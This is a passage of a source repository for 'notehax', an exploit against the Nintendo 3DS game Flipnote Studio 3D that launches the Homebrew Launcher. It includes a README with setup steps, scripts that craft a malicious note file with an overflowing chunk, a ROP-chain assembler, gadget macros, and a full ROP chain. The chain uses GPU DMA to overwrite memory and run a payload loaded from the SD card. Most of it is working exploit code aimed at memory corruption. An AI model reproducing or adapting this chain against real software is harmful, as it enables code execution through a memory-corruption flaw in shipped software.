63 | if((ret = svcSendSyncRequest(handle))) return ret;
64 |
65 | return cmdbuf[1];
66 | }
67 |
68 | unsigned int _strlen(const char* str)
69 | {
70 | unsigned int length = 0;
71 | while(*(str++)) length++;
72 | return length;
73 | }
74 |
75 | FS_Path _fsMakePath(FS_PathType type, const void* path)
76 | {
77 | FS_Path p = {type, 0, path};
78 | switch(type)
79 | {
80 | case PATH_ASCII:
81 | p.size = _strlen((const char*)path) + 1;
82 | break;
83 | case PATH_UTF16:
84 | {
85 | const u16* str = (const u16*)path;
86 | while (*str++) p.size++;
87 | p.size = (p.size + 1 ) * 2;
88 | break;
89 | }
90 | case PATH_EMPTY:
91 | p.size = 1;
92 | p.data = "";
93 | default:
94 | break;
95 | }
96 |
97 | return p;
98 | }
99 |
--------------------------------------------------------------------------------
/code/source/utils.h:
--------------------------------------------------------------------------------
1 | #ifndef UTILS_H
2 | #define UTILS_H
3 |
4 | #include <3ds.h>
5 |
6 | void* memset(void * ptr, int value, size_t num);
7 | void* memcpy(void *destination, const void *source, size_t num);
8 | int memcmp(void *ptr1, void *ptr2, size_t num);
9 |
10 | Result gspwn(void* dst, void* src, u32 size);
11 | Result _GSPGPU_SetBufferSwap(Handle handle, u32 screenId, GSPGPU_FramebufferInfo framebufferInfo);
12 | unsigned int _strlen(const char* str);
13 |
14 | FS_Path _fsMakePath(FS_PathType type, const void* path);
15 | #endif
16 |
--------------------------------------------------------------------------------
/docs/_config.yml:
--------------------------------------------------------------------------------
1 | theme: jekyll-theme-architect
--------------------------------------------------------------------------------
/docs/index.md:
--------------------------------------------------------------------------------
1 | #
Notehax
2 | Notehax is a 3ds userland exploit for Flipnote Studio 3D, allowing one to launch
3 | [the Homebrew Launcher](http://smealum.github.io/3ds/) through the game.
4 |
5 | ## Requirements
6 | You'll need :
7 | * a 3ds on firmware <= 11.5
8 | * a digital copy of [Flipnote Studio 3D](https://my.nintendo.com/rewards/0391c34c430369c0) on ver 1.3.1 (JPN) and ver 1.0.0 for EUR/USA (not the latest)
9 |
10 | ## Installation
11 | 1. Get the [notehax archive](https://github.com/mrnbayoh/notehax/releases/) according to your region.
12 | 2. Extract it to the root of your SD card (the /private folder must be at the root) /!\ If you delete the previous /private folder all your notes saved on the SD card will be lost /!\
13 | 3. Download the [otherapp payload](http://smealum.github.io/3ds/) corresponding to your region/console/firmware etc.
14 | 4. Copy the otherapp payload to the /notehax folder and rename it "otherapp.bin".
15 | 5. Download the and copy to your SD card the [homebrew starter kit](http://smealum.github.io/3ds/).
16 | 6. If you're running the EUR version, switch your 3ds language to French.
17 |
18 | ## How to use notehax
19 | To access [the Homebrew Launcher](http://smealum.github.io/3ds/) just try to open the custom note that should've appeared in the SD folder:
20 | 
21 |
22 | ## Donate
23 | Every amount is appreciated and will be used for hacking purposes of course :)
24 | [](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=KFEV25LC9KTX4)
25 |
26 | ## Thanks
27 | * [smealum](https://github.com/smealum) and everyone else who have contributed to the HBL/hax payload
28 | * ChampionLeake789 : tester
29 |
--------------------------------------------------------------------------------
/note/KFH.py:
--------------------------------------------------------------------------------
1 | add_word(0xDEADC0DE)
2 | add_word(0xDEADC0DE)
3 |
4 | add_word(0x00000000)
5 |
6 | fill(0x1E, 0x0)
7 |
8 | add_utf16("NoteHax")
9 | fill(0x16-len("NoteHax")*2, 0x0)
10 |
11 | add_utf16("By")
12 | fill(0x16-len("By")*2, 0x0)
13 |
14 | add_utf16("Nba_Yoh")
15 | fill(0x16-len("Nba_Yoh")*2, 0x0)
16 |
17 | for i in range(3):
18 | add_ascii("notehax"*4)
19 |
20 | add_word(0x00000001)
21 | add_halfword(0x0002)
22 | add_halfword(0x0003)
23 |
--------------------------------------------------------------------------------
/note/KSN.py:
--------------------------------------------------------------------------------
1 | include("../ropdb/DB.py")
2 | import os
3 |
4 | add_word(0x0)
5 | add_word(ROP_OFFSET_KSN + os.path.getsize("../rop/build/rop.bin"))
6 | org(0x1C + ROP_OFFSET_KSN)
7 | incbin("../rop/build/rop.bin")
8 |
--------------------------------------------------------------------------------
/note/Makefile:
--------------------------------------------------------------------------------
1 | all: build/KFH.bin build/KSN.bin build/note.bin
2 |
3 | build/KFH.bin: KFH.py
4 | @python3 $(PYROP)/pyrop.py KFH.py build/KFH.bin
5 |
6 | build/KSN.bin: KFH.py
7 | @python3 $(PYROP)/pyrop.py KSN.py build/KSN.bin
8 |
9 | build/note.bin: note.py
10 | @python3 $(PYROP)/pyrop.py note.py build/note.bin
11 |
12 | clean:
13 | @rm -rf build
14 |
--------------------------------------------------------------------------------
/note/note.py:
--------------------------------------------------------------------------------
1 | import binascii
2 | import os
3 |
4 | def add_chunk(name, b, file, need_crc):
5 | add_ascii(name)
6 | add_byte(b)
7 | add_word(os.path.getsize(file) + 4 if need_crc else 0)
8 | if(need_crc):
9 | add_word(binascii.crc32(open(file, 'rb').read()))
10 | incbin(file)
11 | align(4)
12 |
13 | add_chunk("KFH", 0x14, 'build/KFH.bin', True) #file header
14 | add_chunk("KTN", 0x02, '../res/preview.jpg', True) #picture for preview
15 | add_chunk("KSN", 0x01, 'build/KSN.bin', False) #overflowed chunk+ropchain
16 |
--------------------------------------------------------------------------------
/pyrop/base_modules.py:
--------------------------------------------------------------------------------
1 | from builder_base import user_function, BaseBuilder
2 | from ast import *
3 | from inspect import *
4 | import traceback
5 |
6 | # def get_module(builder, module):
7 | # return type(module.__name__ + builder.__name__, (module, builder,), dict(module.__dict__))
8 |
9 |
10 | class IncludeModule(BaseBuilder):
11 | def __init__(self):
12 | super().__init__()
13 | self.current_path = ""
14 |
15 | def set_current_path(self, base_path):
16 | self.current_path = os.path.dirname(os.path.abspath(base_path))
17 |
18 | @user_function
19 | def include(self, incfile: str):
20 |
21 | old = self.current_path
22 | self.current_path = os.path.join(old, os.path.dirname(incfile))
23 |
24 | path = os.path.join(self.current_path, os.path.basename(incfile))
25 | sys.path.append(self.current_path)
26 |
27 | try:
28 | content = open(path, "rb").read()
29 | os.chdir(self.current_path) # set the current working directory, for open() etc.
30 | exec(compile(content, path, 'exec'), self.user_functions)
31 | except Exception as err:
32 | print("An exception occured while building: ", file=sys.stderr)
33 | lines = traceback.format_exc(None, err).splitlines()
34 | print(" " + lines[-1], file=sys.stderr)
35 | for l in lines[3:-1]:
36 | print(l, file=sys.stderr)
37 | exit(1)
38 |
39 | sys.path.remove(self.current_path)
40 | os.chdir(old)
41 | self.current_path = old
42 |
43 | def load(self, file):
44 | self.set_current_path(file)
45 | super().load(file)
46 |
47 |
48 | class AreaModule(BaseBuilder):
49 | def __init__(self):
50 | super().__init__()
51 | self.areas = []
52 |
53 | @user_function
54 | def append(self, bytes_l):
55 | super().append(bytes_l)
56 | self.check_areas()
57 |
58 | @user_function
59 | def begin_area(self, size):
60 | if not self.loaded:
61 | return
62 | self.areas.append((len(self.chain), size))
63 |
64 | @user_function
65 | def end_area(self):
66 | if not self.loaded:
67 | return
68 | self.areas.pop()
69 |
70 | def check_areas(self):
71 | for area in self.areas:
72 | if len(self.chain)-area[0] > area[1]:
73 | raise OverflowError("Area overflowed!")
74 |
75 |
76 | class LabelContext:
77 | def __init__(self, parent, l_locals):
78 | self.locals = l_locals
79 | self.parent = parent
80 |
81 | def setdefault(self, key, value):
82 | self.locals.setdefault(key, value)
83 |
84 | def __getitem__(self, item):
85 | """
86 | Return the value associated to the label name in the nearest context that contains it.
87 | (search in context then context's parent and then parents of context's parent...)
88 | :param item: label name
89 | :return: address associated to the label
90 | """
91 | current = self
92 | while current is not None:
93 | if item in current.locals:
94 | return current.locals[item]
95 | current = current.parent
96 |
97 | def __contains__(self, item):
98 | """
99 | Override 'in' operator, search the label in the local dict and all the parents dicts.
100 | :param item: label to search
101 | :return: True if label is found, False otherwise
102 | """
103 | current = self
104 | while current is not None:
105 | if item in current.locals:
106 | return True
107 | current = current.parent
108 | return False
109 |
110 |
111 | class Macro:
112 |
113 | def __init__(self):
114 | self.total_count = 0
115 | self.current_instance = 0
116 | self.instance_contexts = []
117 |
118 | def add_instance(self, context):
119 | """
120 | Add a new instance.
121 | :param context: instance label context
122 | :return: None
123 | """
124 | self.instance_contexts.append(context)
125 | self.total_count += 1
126 |
127 | def reset_current_instance(self):
128 | """
129 | Reset the current_instance counter.
130 | :return: None
131 | """
132 | self.current_instance = 0
133 |
134 | def get_last_instance(self):
135 | """
136 | Get the last instance added.
137 | :return: macro's last instance
138 | """
139 | return self.instance_contexts[-1]
140 |
141 | def get_next_instance(self):
142 | """
143 | Get the current instance, then increment the current_instance value.
144 | :return: current instance label context
145 | """
146 | self.current_instance += 1
147 | return self.instance_contexts[self.current_instance - 1]
148 |
149 |
150 | class LabelModule(BaseBuilder):
151 | def __init__(self):
152 | super().__init__()
153 | self.context_stack = []
154 |
155 | self.global_context = dict()
156 | self.current_context = self.global_context
157 |
158 | self.macros = dict()
159 |
160 | def load(self, file):
161 | self.parse_labels(open(file).read())
162 | self.user_functions.update(self.global_context)
163 | super().load(file)
164 | self.user_functions.update(self.global_context)
165 |
166 | def __setitem__(self, name: str, address: int):
167 | """
168 | Add a label to the current context.
169 | Override [] assignment.
170 | :param name: label name
171 | :param address: label address
172 | :return: None
173 | """
174 | if self.loaded:
175 | return
176 |
177 | if address is None:
178 | address = self.mem_offset
179 | elif address.bit_length() > 32:
180 | raise ValueError("Label address should be 32 bits long!")
181 |
182 | self.current_context[name] = address
183 | self.user_functions.update(self.current_context)
184 |
185 | def __getitem__(self, name):
186 | """
187 | Get address associated to the label name in current_context.
188 | :param name: label name
189 | :return: address associated to label
190 | """
191 | if name not in self.current_context:
192 | raise KeyError("Trying to use an undefined label!")
193 | return self.current_context[name]
194 |
195 | def __contains__(self, item):
196 | """
197 | Override 'in' operator.
198 | :param item: label name
199 | :return: True if current_context contains the label, False otherwise
200 | """
201 | return item in self.current_context
202 |
203 | def get_current_context(self):
204 | return self.current_context
205 |
206 | def register_macro(self, name: str):
207 | """
208 | Register a new macro in the macros dict.
209 | :param name: macro's name
210 | :return: None
211 | """
212 | self.macros.setdefault(name, Macro())
213 |
214 | def add_macro_context(self, name: str, context: dict = None):
215 | """
216 | Add a new instance/context to a Macro object
217 | :param name: macro's name
218 | :param context: macro's label context, default = dict()
219 | :return: None
220 | """
221 | if context is None:
222 | context = dict()
223 | self.macros[name].add_instance(dict())
224 |
225 | def switch_context(self, context):
226 | """
227 | Switch the current context.
228 | :param context: the new context
229 | :return: None
230 | """
231 | self.context_stack.append(self.current_context)
232 | self.current_context = context
233 |
234 | def restore_context(self):
235 | """
236 | Restore the previous context.
237 | :return: None
238 | """
239 | self.current_context = self.context_stack.pop()
240 |
241 | @user_function
242 | def put_label(self, name: str, address: int = None):
243 | if type(name) is not str:
244 | raise ValueError("Label name expected, " + type(name).__name__ + " was given!")
245 | self[name] = address
246 |
247 | @user_function
248 | def get_label(self, name: str):
249 | return self[name]
250 |
251 | def parse_labels(self, source):
252 | tree = parse(source, "", 'exec')
253 | for node in walk(tree):
254 | if isinstance(node, Call):
255 | id = node.func.id if isinstance(node.func, Name) else node.func.attr
256 | if id == "put_label" and node.args and isinstance(node.args[0], Str):
257 | name = node.args[0].s
258 | if name in self.current_context:
259 | raise NameError("Label name already used!")
260 | self.current_context.setdefault(name, 0)
261 |
262 |
263 |
264 | @user_function
265 | def macro(self, func):
266 | """
267 | The macro function decorator.
268 | :param func: macro function
269 | :return: the wrapped function
270 | """
271 | self.register_macro(func.__name__)
272 |
273 | def wrapper(*args, **kwargs):
274 | old = func.__globals__.copy()
275 | for key in self.current_context.keys():
276 | del func.__globals__[key]
277 |
278 | if not self.loaded:
279 | self.add_macro_context(func.__name__)
280 | self.switch_context(self.macros[func.__name__].get_last_instance())
281 | self.parse_labels(getsource(func))
282 |
283 | else:
284 | self.switch_context(self.macros[func.__name__].get_next_instance())
285 |
286 | func.__globals__.update(self.current_context)
287 | func(*args, **kwargs)
288 | func.__globals__.clear()
289 | func.__globals__.update(old)
290 |
291 | self.restore_context()
292 |
293 | wrapper.original = func.original if hasattr(func, 'original') else func
294 | return wrapper
295 |
296 |
297 | class PopModule(BaseBuilder):
298 | def __init__(self):
299 | super().__init__()
300 | self.pop_macros = dict()
301 | self.current_count = 0
302 |
303 | def append_stub(self, other):
304 | self.current_count += len(other)
305 |
306 | @user_function
307 | def pop_macro(self, func):
308 | wrapped_func = func
309 | original_func = func.original if hasattr(func, 'original') else func
310 |
311 | args = signature(original_func).parameters.keys()
312 | if set(args) - {"r"+str(i) for i in range(16)}:
313 | raise Exception("Non register argument found in pop_macro!")
314 |
315 | self.current_count = 0
316 | append = self.append
317 | self.append = self.append_stub
318 |
319 | wrapped_func(**({name: 0 for name in args}))
320 | self.append = append
321 |
322 | self.pop_macros[original_func.__name__] = (func, set(args), self.current_count)
323 | return func
324 |
325 | @user_function
326 | def pop(self, **registers):
327 | reg_set = set(registers.keys())
328 | if reg_set - {"r"+str(i) for i in range(16)}:
329 | raise Exception("Trying to pass non register argument to a pop_macro!")
330 | candidates = {name: infos for name, infos in self.pop_macros.items() if infos[1] & reg_set}
331 | pop_stack = []
332 | while reg_set:
333 | pop_stack.append(self.find_best(candidates, reg_set))
334 | if pop_stack[-1] is None:
335 | raise Exception("Could not find pop_macro to pop register(s): " + str(reg_set))
336 | reg_set -= self.pop_macros[pop_stack[-1]][1]
337 | for func in pop_stack:
338 | candidates[func][0](**{reg: registers.get(reg, 0x0) for reg in candidates[func][1]})
339 | # if the value to pop isn't specified, then pop 0x0, for example when you only have pop {r2-r6, pc} to pop
340 | # r2 then 0x0 will be popped to r3-r6
341 | print(pop_stack)
342 |
343 | @staticmethod
344 | def find_best(candidates, regs):
345 | name = None
346 | best_rate = 0
347 | total_pop = 16
348 | for func, infos in candidates.items():
349 | nb = len(regs & infos[1])
350 | rate = nb/infos[2]
351 | if nb == 0:
352 | continue
353 | if best_rate < rate or (best_rate == rate and len(infos[1]) <= total_pop):
354 | name = func
355 | best_rate = rate
356 | total_pop = len(infos[1])
357 | return name
358 |
--------------------------------------------------------------------------------
/pyrop/builder_base.py:
--------------------------------------------------------------------------------
1 | import traceback
2 | import os
3 | import sys
4 |
5 | modules_user_functions = dict()
6 |
7 |
8 | def user_function(func):
9 | infos = func.__qualname__.rsplit('.', 1)
10 | modules_user_functions.setdefault(infos[0], dict())
11 | modules_user_functions[infos[0]][infos[1]] = func
12 | return func
13 |
14 |
15 | class BaseBuilder:
16 | @classmethod
17 | def create(cls, name, *modules):
18 | def init(self):
19 | super(builder, self).__init__()
20 |
21 | builder = type(name, tuple(modules) + (cls,), {"__init__": init})
22 | return builder()
23 |
24 | def __new__(cls, *args, **kwargs):
25 | instance = object.__new__(cls)
26 | instance.chain = None
27 | instance.mem_offset = 0
28 | instance.loaded = False
29 | instance.built = False
30 | instance.user_functions = dict()
31 | return instance
32 |
33 | def __init__(self):
34 | for base in reversed(self.__class__.__mro__):
35 | base_user_func = modules_user_functions.get(base.__qualname__, dict())
36 | self.user_functions.update({name: base.__dict__[name].__get__(self, self.__class__)
37 | for name, func in base_user_func.items()})
38 |
39 | def set_mem_offset(self, offset):
40 | pass
41 |
42 | def append(self, other):
43 | pass
44 |
45 | def load(self, file):
46 | pass
47 |
48 | def build(self, file):
49 | pass
50 |
51 |
52 | class BasicBuilder(BaseBuilder):
53 | def __init__(self):
54 | super().__init__()
55 | self.chain = []
56 | self.mem_offset = 0
57 |
58 | @user_function
59 | def set_mem_offset(self, offset: int):
60 | self.mem_offset = offset
61 |
62 | def append(self, bytes_l):
63 | self.mem_offset += len(bytes_l)
64 | if self.loaded:
65 | self.chain += bytes_l
66 |
67 | def add_value(self, word: int, byte_size: int = 4):
68 | if byte_size < 1:
69 | raise ValueError("Size of word should be greater than zero!")
70 |
71 | bit_size = byte_size * 8
72 | if word.bit_length() > bit_size:
73 | raise ValueError("Value does not fit in a " + str(bit_size) + "bits word!")
74 |
75 | self.append((word if self.loaded else 0).to_bytes(byte_size, 'little'))
76 |
77 | @user_function
78 | def add_word(self, word):
79 | self.add_value(word, 4)
80 |
81 | @user_function
82 | def add_halfword(self, word):
83 | self.add_value(word, 2)
84 |
85 | @user_function
86 | def add_byte(self, byte):
87 | self.add_value(byte, 1)
88 |
89 | @user_function
90 | def incbin(self, incfile: str):
91 | self.append(open(incfile, 'rb').read())
92 |
93 | @user_function
94 | def org(self, address: int):
95 | if address < self.mem_offset:
96 | raise ValueError("Trying to ORG backwards!")
97 |
98 | self.append([0x0 for i in range(address - self.mem_offset)])
99 |
100 | @user_function
101 | def align(self, value: int):
102 | self.append([0 for i in range((value - (self.mem_offset % value)) % value)])
103 |
104 | @user_function
105 | def fill(self, size: int, value: int, v_byte_size: int = 1):
106 | if v_byte_size < 1:
107 | raise ValueError("Size of value should be greater than zero!")
108 |
109 | bit_size = v_byte_size * 8
110 | if value.bit_length() > bit_size:
111 | raise ValueError("Value does not fit in a " + str(bit_size) + "bits word!")
112 |
113 | self.append((value.to_bytes(v_byte_size, 'little') * ((size // v_byte_size) + 1))[:size])
114 |
115 | @user_function
116 | def add_ascii(self, string: str):
117 | self.add_str(string)
118 |
119 | @user_function
120 | def add_utf16(self, string: str):
121 | self.add_str(string, 'utf_16_le')
122 |
123 | @user_function
124 | def add_str(self, string: str, encoding: str = 'us-ascii'):
125 | self.append([c for c in string.encode(encoding)])
126 |
127 | def build(self, file):
128 | if self.built:
129 | raise PermissionError("You cannot build multiple times!")
130 |
131 | if not self.loaded:
132 | self.load(file)
133 |
134 | old = os.getcwd()
135 | sys.path.append(os.path.dirname(os.path.abspath(file))) # for module import that aren't "include" call
136 | try:
137 | content = open(file, "rb").read()
138 | os.chdir(os.path.dirname(os.path.abspath(file))) # set the current working directory, for open() etc.
139 | exec(compile(content, file, 'exec'), self.user_functions)
140 | except Exception as err:
141 | print("An exception occured while building: ", file=sys.stderr)
142 | lines = traceback.format_exc(None, err).splitlines()
143 | print(" " + lines[-1], file=sys.stderr)
144 | for l in lines[3:-1]:
145 | print(l, file=sys.stderr)
146 | exit(1)
147 |
148 | os.chdir(old)
149 | sys.path.remove(os.path.dirname(os.path.abspath(file)))
150 | self.built = True
151 |
152 | def load(self, file):
153 | if self.loaded:
154 | return
155 |
156 | sys.path.append(os.path.dirname(os.path.abspath(file))) # for module import that aren't "include" call
157 | old = os.getcwd()
158 | try:
159 | content = open(file, "rb").read()
160 | os.chdir(os.path.dirname(os.path.abspath(file))) # set the current working directory, for open() etc.
161 | exec(compile(content, file, 'exec'), self.user_functions)
162 | except Exception as err:
163 | print("An exception occured while loading: ", file=sys.stderr)
164 | lines = traceback.format_exc(None, err).splitlines()
165 | print(" " + lines[-1], file=sys.stderr)
166 | for l in lines[3:-1]:
167 | print(l, file=sys.stderr)
168 | exit(1)
169 |
170 | os.chdir(old)
171 | sys.path.remove(os.path.dirname(os.path.abspath(file)))
172 | self.loaded = True
173 | self.mem_offset = 0
174 |
--------------------------------------------------------------------------------
/pyrop/pyrop.py:
--------------------------------------------------------------------------------
1 | import sys
2 | from ast import *
3 | from builder_base import *
4 | from base_modules import *
5 |
6 | cmdargs = sys.argv
7 | if len(cmdargs) != 3:
8 | print("Usage: pyRop.py input_file output_file")
9 |
10 | builder = BasicBuilder.create('Test', IncludeModule, AreaModule, LabelModule, PopModule)
11 | builder.build(cmdargs[1])
12 |
13 | os.makedirs(os.path.dirname(os.path.abspath(cmdargs[2])), exist_ok=True)
14 | output_file = open(cmdargs[2], 'wb')
15 | output_file.write(bytes(builder.chain))
16 | output_file.close()
17 |
18 |
--------------------------------------------------------------------------------
/res/preview.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrNbaYoh/notehax/8e9a5fcda1383fd9724b0477d7d9f968bed4c68d/res/preview.jpg
--------------------------------------------------------------------------------
/rop/Makefile:
--------------------------------------------------------------------------------
1 | all: build/rop.bin
2 |
3 | build/rop.bin: rop.py macros.py constants.py
4 | @python3 $(PYROP)/pyrop.py rop.py build/rop.bin
5 |
6 | clean:
7 | @rm -rf build
8 |
--------------------------------------------------------------------------------
/rop/constants.py:
--------------------------------------------------------------------------------
1 | APPMEMTYPE = 0x1FF80030
2 | PAYLOAD_VA = 0x301000
3 | CODEBIN_MAX_SIZE = 0x2EE000#0x2D1000
4 | LINEAR_BUFFER = 0x14000000
5 | SCANLOOP_STRIDE = 0x1000
6 |
7 | FSFILE_READ = 0x1
8 |
--------------------------------------------------------------------------------
/rop/macros.py:
--------------------------------------------------------------------------------
1 | from constants import *
2 | include("../ropdb/DB.py")
3 |
4 | def garbage(n):
5 | for i in range(n):
6 | add_word(0xDEAC0DE)
7 |
8 | def sleep(time_l, time_h=0):
9 | SET_LR(NOP)
10 | pop(r0=time_l, r1=time_h)
11 | add_word(SVC_SLEEPTHREAD)
12 |
13 | @pop_macro
14 | def POP_R0(r0):
15 | add_word(POP_R0PC)
16 | add_word(r0)
17 |
18 | @pop_macro
19 | def POP_R1(r1):
20 | add_word(POP_R1PC)
21 | add_word(r1)
22 |
23 | @pop_macro
24 | def POP_R3(r3):
25 | add_word(POP_R3PC)
26 | add_word(r3)
27 |
28 | @pop_macro
29 | def POP_R4(r4):
30 | add_word(POP_R4PC)
31 | add_word(r4)
32 |
33 | @pop_macro
34 | def POP_R11(r11):
35 | add_word(POP_R11PC)
36 | add_word(r11)
37 |
38 | def SET_LR(lr):
39 | POP_R1(NOP)
40 | add_word(POP_R4LR_BX_R1)
41 | add_word(0xDEADC0DE) #r4 garbage
42 | add_word(lr)
43 |
44 | @pop_macro
45 | def POP_R4R5(r4, r5):
46 | add_word(POP_R4R5PC)
47 | add_word(r4)
48 | add_word(r5)
49 |
50 |
51 | @pop_macro
52 | def POP_R4R6(r4, r6):
53 | add_word(POP_R4R6PC)
54 | add_word(r4)
55 | add_word(r6)
56 |
57 | @pop_macro
58 | def POP_R0R1R2R3R4(r0, r1, r2, r3, r4):
59 | add_word(POP_R0R1R2R3R4PC)
60 | add_word(r0)
61 | add_word(r1)
62 | add_word(r2)
63 | add_word(r3)
64 | add_word(r4)
65 |
66 | @pop_macro
67 | def POP_R1R2R3R4R5(r1, r2, r3, r4, r5):
68 | add_word(POP_R1R2R3R4R5PC)
69 | add_word(r1)
70 | add_word(r2)
71 | add_word(r3)
72 | add_word(r4)
73 | add_word(r5)
74 |
75 | @pop_macro
76 | def POP_R1R2R3R4R5R6R7(r1, r2, r3, r4, r5, r6, r7):
77 | add_word(POP_R1R2R3R4R5R6R7PC)
78 | add_word(r1)
79 | add_word(r2)
80 | add_word(r3)
81 | add_word(r4)
82 | add_word(r5)
83 | add_word(r6)
84 | add_word(r7)
85 |
86 | @pop_macro
87 | def POP_R3R4R5R6R7R8R9(r3, r4, r5, r6, r7, r8, r9):
88 | add_word(POP_R3R4R5R6R7R8R9PC)
89 | add_word(r3)
90 | add_word(r4)
91 | add_word(r5)
92 | add_word(r6)
93 | add_word(r7)
94 | add_word(r8)
95 | add_word(r9)
96 |
97 | @pop_macro
98 | def POP_R4R5R6R7R8R9R10R11(r4, r5, r6, r7, r8, r9, r10, r11):
99 | add_word(POP_R4R5R6R7R8R9R10R11PC)
100 | add_word(r4)
101 | add_word(r5)
102 | add_word(r6)
103 | add_word(r7)
104 | add_word(r8)
105 | add_word(r9)
106 | add_word(r10)
107 | add_word(r11)
108 |
109 | @pop_macro
110 | def POP_R4R5R6R7R8R9R10R11R12(r4, r5, r6, r7, r8, r9, r10, r11, r12):
111 | add_word(POP_R4R5R6R7R8R9R10R11R12PC)
112 | add_word(r4)
113 | add_word(r5)
114 | add_word(r6)
115 | add_word(r7)
116 | add_word(r8)
117 | add_word(r9)
118 | add_word(r10)
119 | add_word(r11)
120 | add_word(r12)
121 |
122 | def nop():
123 | add_word(NOP)
124 |
125 | def deref_r0():
126 | add_word(LDR_R0R0_POP_R4PC)
127 | garbage(1)
128 |
129 | def deref_to_r0(addr):
130 | pop(r0=addr)
131 | deref_r0()
132 |
133 | def store_r0_to(addr):
134 | pop(r1=addr)
135 | add_word(STR_R0R1_POP_R4PC)
136 | garbage(1)
137 |
138 | def store(val, addr):
139 | pop(r0=val)
140 | store_r0_to(addr)
141 |
142 | def store_byte(val, addr):
143 | pop(r0=val, r4=addr)
144 | add_word(STRB_R0R4_POP_R4PC)
145 | garbage(1)
146 |
147 | def deref_and_store(dst, src):
148 | pop(r0=src, r1=dst)
149 | add_word(LDR_R0R0_STR_R0R1_POP_R4PC)
150 | garbage(1)
151 |
152 | def add_r0(val):
153 | pop(r4=val)
154 | add_word(ADD_R0R0R4_POP_R4PC)
155 | garbage(1)
156 |
157 | def compare_r0(val):
158 | pop(r1=val)
159 | add_word(CMP_R0R1_MOVGT_R0_1_MOVLE_R0_0_POP_R4PC)
160 | garbage(1)
161 |
162 | def memcmp(ptr1, ptr2, size):
163 | SET_LR(NOP)
164 | pop(r0=ptr1, r1=ptr2, r2=size)
165 | add_word(LMSI_MEMCMP+0x10)
166 | garbage(2)
167 |
168 | def store_eq(val, addr):
169 | pop(r0=val, r4=addr-0x2C)
170 | add_word(STREQ_R0R4_2C_POP_R4PC)
171 | garbage(1)
172 |
173 | def stack_pivot(sp,):
174 | pop(r0=sp, r1=NOP)
175 | add_word(MOV_SP_R0_MOV_R0R2_MOV_LRR3_BX_R1)
176 |
177 | def flush_dcache(addr, size):
178 | pop(r0=addr, r1=size)
179 | add_word(GSPGPU_FLUSHDATACACHE_WRAPPER+0x4)
180 | garbage(3)
181 |
182 | def mount_sdmc(sdmc_str):
183 | POP_R0(sdmc_str)
184 | add_word(FS_MOUNTSDMC + 0x4)
185 | garbage(3)
186 |
187 | def try_open_file(ctx_ptr, file_path_ptr, openflags):
188 | pop(r0=ctx_ptr, r1=file_path_ptr, r2=openflags)
189 | add_word(FS_TRYOPENFILE + 0x4)
190 | garbage(5)
191 |
192 |
193 | def try_get_size(ctx_ptr, out_size):
194 | pop(r0=ctx_ptr, r1=out_size)
195 | add_word(FS_TRYGETSIZE + 0x4)
196 | garbage(2)
197 |
198 | @macro
199 | def try_read_file(ctx_ptr, offseth, offsetl, out_bytes_read, size_ptr, dest):
200 | deref_and_store(FilePtr, ctx_ptr)
201 | deref_and_store(Size, size_ptr)
202 |
203 | pop(r0=out_bytes_read, r2=offsetl, r3=offseth)
204 |
205 | add_word(POP_R1PC)
206 | put_label("FilePtr")
207 | add_word(0xDEADC0DE)
208 |
209 | add_word(FS_TRYREADFILE + 0x4)
210 | garbage(6)
211 | add_word(POP_R4R5PC)
212 | add_word(dest)
213 | put_label("Size")
214 | add_word(0xDEADC0DE)
215 |
216 |
217 | def close_file(ctx_ptr):
218 | SET_LR(NOP)
219 | POP_R0(ctx_ptr)
220 | add_word(FS_CLOSEFILE + 0x4)
221 |
--------------------------------------------------------------------------------
/rop/rop.py:
--------------------------------------------------------------------------------
1 | from constants import *
2 | include("macros.py")
3 |
4 | LOOP_DST = LINEAR_BUFFER + 0x100000
5 | FILE_DST = LOOP_DST - 0x4000
6 |
7 | set_mem_offset(ROP_DEST)
8 |
9 | deref_to_r0(APPMEMTYPE)
10 | compare_r0(0x6)
11 | store_eq(LINEAR_BUFFER + 0x07C00000 - CODEBIN_MAX_SIZE, loop_src)
12 |
13 | put_label("scan_loop")
14 |
15 | add_word(GSPGPU_GXTRYENQUEUE_WRAPPER)
16 | add_word(0x4)
17 | put_label("loop_src")
18 | add_word(LINEAR_BUFFER + 0x04000000 - CODEBIN_MAX_SIZE)
19 | add_word(LOOP_DST)
20 | add_word(SCANLOOP_STRIDE)
21 | add_word(0xFFFFFFFF)
22 | add_word(0xFFFFFFFF)
23 | add_word(0x8)
24 | add_word(0x0)
25 |
26 | add_word(0x0)
27 |
28 | garbage(4)
29 |
30 | sleep(100*1000)
31 |
32 | store(GSPGPU_GXTRYENQUEUE_WRAPPER, scan_loop)
33 | memcmp(LOOP_DST, PAYLOAD_VA, 0x20)
34 | compare_r0(0x1)
35 | store_eq(NOP, loop_pivot)
36 |
37 | deref_to_r0(loop_src)
38 | add_r0(SCANLOOP_STRIDE) #next mempage
39 | store_r0_to(loop_src)
40 |
41 | flush_dcache(LOOP_DST, SCANLOOP_STRIDE)
42 |
43 | pop(r0=scan_loop, r1=NOP)
44 | put_label("loop_pivot")
45 | add_word(MOV_SP_R0_MOV_R0R2_MOV_LRR3_BX_R1)
46 |
47 | deref_to_r0(loop_src)
48 | add_r0(0x100000000 - SCANLOOP_STRIDE) #after the scanloop is broken, magicval is at *(loop_src) - SCANLOOP_STRIDE
49 | store_r0_to(final_dst) #store the location for the final gspwn
50 |
51 | mount_sdmc(sdmc_string)
52 | try_open_file(context, file_path, FSFILE_READ)
53 | try_get_size(context, file_size)
54 | try_read_file(context, 0, 0, bytes_read, file_size, FILE_DST)
55 | close_file(context)
56 |
57 | flush_dcache(FILE_DST, 0x100000)
58 |
59 | add_word(GSPGPU_GXTRYENQUEUE_WRAPPER)
60 | add_word(0x4)
61 | add_word(FILE_DST)
62 | put_label("final_dst")
63 | add_word(0xDEADC0DE)
64 | add_word(0x2000)
65 | add_word(0xFFFFFFFF)
66 | add_word(0xFFFFFFFF)
67 | add_word(0x8)
68 | add_word(0x0)
69 |
70 | add_word(0x0)
71 |
72 | garbage(4)
73 |
74 | sleep(300*1000*1000)
75 |
76 | store_byte(0x1, THREAD1_BREAK)
77 | store(PAYLOAD_VA, MAIN_THREAD_POP_PTR)
78 | store_byte(0x1, MAIN_THREAD_BREAK)
79 |
80 | add_word(SVC_EXITTHREAD)
81 |
82 | put_label("bytes_read")
83 | add_word(0x0)
84 |
85 | put_label("context")
86 | fill(0x20, 0)
87 |
88 | put_label("file_size")
89 | add_word(0x0)
90 | add_word(0x0)
91 |
